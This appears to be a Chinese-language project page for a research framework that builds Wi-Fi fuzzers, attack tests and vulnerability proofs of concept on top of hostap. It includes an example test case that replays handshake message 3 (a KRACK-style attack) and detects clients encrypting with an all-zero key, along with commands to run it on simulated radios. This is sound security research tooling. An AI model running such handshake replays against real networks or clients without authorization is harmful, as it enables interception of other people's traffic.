我们提出了一个框架,用于更轻松地进行 Wi-Fi 实验。 它可以用于创建模糊测试器、实现新攻击、创建漏洞验证概念、自动化实验、实现测试套件等。
该框架的主要优势在于,它允许你重用 Linux 的 Wi-Fi 功能,从而更轻松地实现攻击和/或测试。 例如,该框架可以为你连接到(受保护的)Wi-Fi 网络,并在测试客户端时为你广播信标。 通常,任何 Linux 的 Wi-Fi 功能都可以被重用以更快速地实现攻击/测试。 该框架通过在执行 测试用例 的基础上结合 hostap 用户空间守护进程来实现这一点。
Wi-Fi 守护进程和框架组件概览。
如果你初次在 Linux 上进行 Wi-Fi 实验,强烈建议先阅读 libwifi Linux 教程。 当你实现不需要重用 Linux 功能的基本 Wi-Fi 攻击时,该框架提供的优势有限,你可以考虑直接在 Scapy 中实现攻击,并可选地使用 libwifi 库。
使用该框架:
假设你想测试客户端是否曾使用全零密钥加密帧。 这种情况可能发生在 密钥重装攻击 期间。 通过使用该框架,你无需重新实现接入点的所有功能, 只需编写以下测试用例:
class ExampleKrackZerokey(Test):
name = "example-krack-zero-key"
kind = Test.Authenticator
def __init__(self):
super().__init__([
# 重放四次握手消息 3/4。
Action( trigger=Trigger.Connected, action=Action.Function ),
# 接收所有帧,并搜索使用全零密钥加密的帧。
Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
# 当我们收到这样的帧时,可以终止测试。
Action( trigger=Trigger.Received, action=Action.Terminate )
])
def resend(self, station):
# 重放四次握手消息 3/4。
station.wpaspy_command("RESEND_M3 " + station.clientmac )
def receive(self, station, frame):
if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
return False
# 检查是否可以使用全零密钥解密 CCMP 加密的帧
plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
if plaintext is None: return False
# 我们收到了一个有效的明文帧!
log(STATUS,'客户端使用全零密钥加密了一个帧!', color="green")
return True
上述测试用例将创建一个客户端可以连接的接入点。 客户端连接后,将向客户端发送一条新的四次握手第 3 消息。 易受攻击的客户端将开始使用全零加密密钥,测试用例会自动检测到这一点。
你可以使用模拟的 Wi-Fi 无线电运行上述测试用例,如下所示:
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key
你可以连接到创建的接入点进行测试(网络 testnetwork,密码 passphrase):
./hostap.py wlan2
通过更改 网络配置,此接入点可以轻松配置为使用 WPA2 或 WPA3,并且/或者配置为使用企业认证,而无需对我们编写的测试用例进行任何更改! 在此示例中使用该框架的其他好处包括:
更多示例请参见 我们所有示例的详细描述。
该工作发表于 ACM 无线与移动网络安全与隐私会议(WiSec '21):
使用此框架或类似框架的工作: